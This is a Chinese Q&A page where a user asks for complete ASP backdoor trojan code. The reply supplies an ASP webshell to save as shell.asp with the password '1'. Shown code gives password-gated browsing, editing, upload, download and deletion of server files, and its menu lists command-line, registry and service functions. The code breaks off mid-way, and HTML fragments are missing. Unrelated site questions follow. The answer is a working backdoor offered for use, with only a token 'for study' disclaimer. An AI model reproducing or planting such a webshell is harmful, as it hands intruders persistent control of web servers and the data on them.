谁能给我个完整asp后门木马代码

xiexie

2025-02-06 07:03:17

推荐回答（1个）

回答1：

将以下文件保存问shell.asp 访问密码是1 仅供学习研究之用，慎重使用。

<%
dim ApplicationName,Pass,URL,ServerNM,ServerIP,Action,WWWRoot,FolderPath,FName,BackUrl,RW

Server.ScriptTimeout=50000
On Error Resume Next
ApplicationName = "WebShell"
UserPass = "1" '设置密码.
URL = Request.ServerVariables("URL")
ServerNM = Request.ServerVariables("SERVER_NAME")
ServerIP = Request.ServerVariables("LOCAL_ADDR")
Action = Request("Action")
RootPath = Server.MapPath(".")
WWWRoot = Server.MapPath("/")
FolderPath = Request("FolderPath")
FName = Request("FName")
BackUrl = ""

If Request("Pass")=UserPass then Session("webadmin")=UserPass
If Session("webadmin")<>UserPass Then
If Request.Form("Pass")<>"" Then
If Request.Form("Pass")=UserPass Then
Session("webadmin")=UserPass
Response.Redirect URL
Else
Response.Write"验证失败！"
End If
Else
RW="

WKWL专用ASP木马"
RW=RW & ""
Response.Write RW
RW=""
End If
Response.End
End If%>

<%=ApplicationName&" - "&ServerIP%>

<%

Dim ObT(13,1)
ObT(0,0) = "Scripting.FileSystemObject"
ObT(0,1) = "文件操作组件"
ObT(1,0) = "wscript.shell"
ObT(1,1) = "命令行执行组件"
ObT(2,0) = "ADOX.Catalog"
ObT(2,1) = "ACCESS建库组件"
ObT(3,0) = "JRO.JetEngine"
ObT(3,1) = "ACCESS压缩组件"
ObT(4,0) = "Scripting.Dictionary"
ObT(4,1) = "数据流上传辅助组件"
ObT(5,0) = "Adodb.connection"
ObT(5,1) = "数据库连接组件"
ObT(6,0) = "Adodb.Stream"
ObT(6,1) = "数据流上传组件"
ObT(7,0) = "SoftArtisans.FileUp"
ObT(7,1) = "SA-FileUp 文件上传组件"
ObT(8,0) = "LyfUpload.UploadFile"
ObT(8,1) = "刘云峰文件上传组件"
ObT(9,0) = "Persits.Upload.1"
ObT(9,1) = "ASPUpload 文件上传组件"
ObT(10,0) = "JMail.SmtpMail"
ObT(10,1) = "JMail 邮件收发组件"
ObT(11,0) = "CDONTS.NewMail"
ObT(11,1) = "虚拟SMTP发信组件"
ObT(12,0) = "SmtpMail.SmtpMail.1"
ObT(12,1) = "SmtpMail发信组件"
ObT(13,0) = "Microsoft.XMLHTTP"
ObT(13,1) = "数据传输组件"

Function IsObj(obt)
dim i,T
on error resume next
Set T=Server.CreateObject(obt)
If -2147221005 <> Err Then
IsObj=True
Else
IsObj=false
Err.Clear
End If
Set T=Nothing
End Function

sub ShowErr()
If Err Then
Response.Write"
" & Err.Description & ""
Err.Clear:Response.Flush
End If
end sub

Function RePath(S)
RePath=Replace(S,"\","\\")
End Function

Function RRePath(S)
RRePath=Replace(S,"\\","\")
End Function

Function HTMLEncode(S)
if not isnull(S) then
S = replace(S, ">", ">")
S = replace(S, "<", "<")
S = replace(S, CHR(39), "'")
S = replace(S, CHR(34), """)
S = replace(S, CHR(20), " ")
HTMLEncode = S
end if
End Function

If FolderPath<>"" then
Session("FolderPath")=RRePath(FolderPath)
End If

If Session("FolderPath")="" Then
FolderPath=RootPath
Session("FolderPath")=FolderPath
End if

dim fso,osm,ads,rs,conn

Function MainMenu()
RW=""
RW=RW & ""
RW=RW & "

"
RW=RW & ""
RW=RW & ""
RW=RW & "

地址栏：

"
RW=RW & ""
RW=RW & "

"
RW=RW & "

文件操作："
Set SFSO=New LBF:SFSO.ShowDriver():Set SFSO=Nothing
RW=RW & "[程序文件] [我的文档] "
RW=RW & "[网站目录]

"
RW=RW & " 切换功能：[新建目录] "
RW=RW & "[新建文本] [文件上传] "
RW=RW & "[CMD命令行] [搜索引擎] "
RW=RW & "[系统服务] [注册表操作] "
RW=RW & "[服务器信息]

数据库功能：[数据库操作] "
RW=RW & "[程序打包入库/出库] | [退出登录]"
RW=RW & "

"
Response.Write RW
RW=""
End Function

if request("DownFile")<>"" then call DownFile(request("DownFile"))
Function DownFile(Path)
Response.Clear
On Error Resume Next
Set osm = CreateObject(ObT(6,0))
osm.Open
osm.Type = 1
osm.LoadFromFile Path
sz=InstrRev(path,"\")+1
Response.AddHeader "Content-Disposition", "attachment; filename=" & Mid(path,sz)
Response.AddHeader "Content-Length",osm.Size
Response.Charset = "UTF-8"
Response.ContentType = "application/octet-stream"
Response.BinaryWrite osm.Read
Response.Flush
osm.Close
Set osm = Nothing
Response.End
End Function

Class LBF
Private Sub Class_Initialize
Set fso=CreateObject(ObT(0,0))
End Sub

Private Sub Class_Terminate
Set fso=Nothing
End Sub

Function ShowDriver()
dim D
For Each D in fso.Drives
RW=RW&"磁盘["&D.DriveLetter&":] "
Next
ShowDriver=RW
End Function

Function ShowFile(Path)
dim F,L,Fold,i

RW=""
RW=RW & "

"
RW=RW & ""
RW=RW & ""
Set FOLD=fso.GetFolder(Path)
For Each F in FOLD.subfolders
RW=RW & ""
Next
RW=RW & "

["&F.Name&"]"
RW=RW & " |删除"
RW=RW & " 复制"
RW=RW & " 移动

"
Response.Write RW : RW=""

For Each L in Fold.files
i=i+1
RW=" "
RW=RW & ""
RW=RW & ""
RW=RW & ""
Response.Write RW : RW=""
Next
if i>0 then Response.Write ""
i=0
Response.Write "

" RW=RW & ""&L.Name&"	"&clng(L.size/1024)&"K	" & year(L.DateLastModified) & "-" & right("0"&month(L.DateLastModified),2) & "-" & right("0"&day(L.DateLastModified),2) & " " & FormatDateTime(L.DateLastModified,4) RW=RW & "	编辑 " RW=RW & "删除 " RW=RW & "复制 " RW=RW & "移动
反向选择

"
Set FOLD=Nothing
End Function

Function EditFile(Path)
dim T
If Request("Action2")="Post" Then
Set T=fso.CreateTextFile(Path)
T.WriteLine Request.form("content")
T.close
Set T=Nothing
Set fso=Nothing
RW="

文件保存成功！"
RW=RW & BackUrl
Response.Write RW : RW=""
Response.End
End If

If Path<>"" Then
Set T=fso.opentextfile(Path, 1, False)
On Error Resume Next
Txt=HTMLEncode(T.readall)
if err then err.Clear
T.close
Set T=Nothing
Else
Path=Session("FolderPath")&"\newfile.asp":Txt="新建文件"
End If

RW="
"
RW=RW&""
RW=RW&""
RW=RW&""
RW=RW&"

文本编辑器

"
RW=RW&"

"
Response.Write RW : RW=""
End Function

Function DelFile(Path)
If fso.FileExists(Path) Then
fso.DeleteFile Path
RW="

文件 "&Path&" 删除成功！"
RW=RW & BackUrl
Response.Write RW
End If
End Function

Function CopyFile(Path)
Path = Split(Path,"||||")
If fso.FileExists(Path(0)) and Path(1)<>"" Then
fso.CopyFile Path(0),Path(1)
RW="

文件" & Path(0) & "复制成功！"
RW=RW & BackUrl
Response.Write RW : RW=""
End If
End Function

Function MoveFile(Path)
Path = Split(Path,"||||")
If fso.FileExists(Path(0)) and Path(1)<>"" Then
fso.MoveFile Path(0),Path(1)
RW="

文件" & Path(0) & "移动成功！"
RW=RW & BackUrl
Response.Write RW : RW=""
End If
End Function

Function DelFolder(Path)
If fso.FolderExists(Path) Then
fso.DeleteFolder Path
RW="

目录" & Path & "删除成功！"
RW=RW & BackUrl
Response.Write RW : RW=""
End If
End Function

Function CopyFolder(Path)
Path = Split(Path,"||||")
If fso.FolderExists(Path(0)) and Path(1)<>"" Then
fso.CopyFolder Path(0),Path(1)
RW="

目录" & Path(0) & "复制成功！"
RW=RW & BackUrl
Response.Write RW : RW=""
End If
End Function

Function MoveFolder(Path)
Path = Split(Path,"||||")
If fso.FolderExists(Path(0)) and Path(1)<>"" Then
fso.MoveFolder Path(0),Path(1)
RW="

目录" & Path(0) & "移动成功！"
RW=RW & BackUrl
Response.Write RW : RW=""
End If
End Function

Function NewFolder(Path)
If Not fso.FolderExists(Path) and Path<>"" Then
fso.CreateFolder Path
RW="

目录" & Path & "新建成功！"
RW=RW & BackUrl
Response.Write RW : RW=""
End If
End Function
End Class

Function UpFile()
dim strFileName
If Request("Action2")="Post" Then
Set U=new UPC : Set F=U.UA("LocalFile")
UName=U.form("ToPath")
If UName="" Or F.FileSize=0 then
RW="
请输入上传的完全路径后选择一个文件上传!"
Else
F.SaveAs UName
If Err.number=0 Then
RW="

文件" & UName & "上传成功！"
End if
End If
Set F=nothing:Set U=nothing
RW=RW & BackUrl
Response.Write RW
ShowErr()
Response.End
End If
RW="
"
RW=RW & ""
RW=RW & ""
RW=RW & "

上传文件

"
RW=RW & "上传路径： "
RW=RW & " "
RW=RW & ""
RW=RW & "

"
Response.Write RW
End Function

Dim T1
Class UPC
Dim D1,D2

Public Function Form(F)
F=lcase(F)
If D1.exists(F) then:Form=D1(F):else:Form="":end if
End Function

Public Function UA(F)
F=lcase(F)
If D2.exists(F) then:set UA=D2(F):else:set UA=new FIF:end if
End Function

Private Sub Class_Initialize
Dim TDa,TSt,vbCrlf,TIn,DIEnd,T2,TLen,TFL,SFV,FStart,FEnd,DStart,DEnd,UpName
set D1=CreateObject("Scripting.Dictionary")
if Request.TotalBytes<1 then Exit Sub
set T1 = CreateObject(ObT(6,0))
T1.Type = 1 : T1.Mode =3 : T1.Open
T1.Write Request.BinaryRead(Request.TotalBytes)
T1.Position=0 : TDa =T1.Read : DStart = 1
DEnd = LenB(TDa)
set D2=CreateObject("Scripting.Dictionary")
vbCrlf = chrB(13) & chrB(10)
set T2 = CreateObject(ObT(6,0))
TSt

最新问答

10种女性职业，哪个职业的女生更适合结婚

女朋友老爱怀疑我出轨是什么心态？

倒过来看，人教版六年级上册英语学霸哥哥姐姐们帮我，拜托拜托

我梦到一条小红蛇向我跑来

捷达空调可以手动,时开时关吗

什么方法可以更好的去痘印？

我是有皮肤病吗？脸上有一层小的疙瘩红红的不痛也不痒有好几年了

我很讨厌我的母亲，从小到大都对我唠唠叨叨，没完没了的我快疯了，整天因为她唠叨我我整天凶她骂她，对她

从天津站到天津火车北站怎么走

买二手房按揭贷款买和一次性付款哪个合算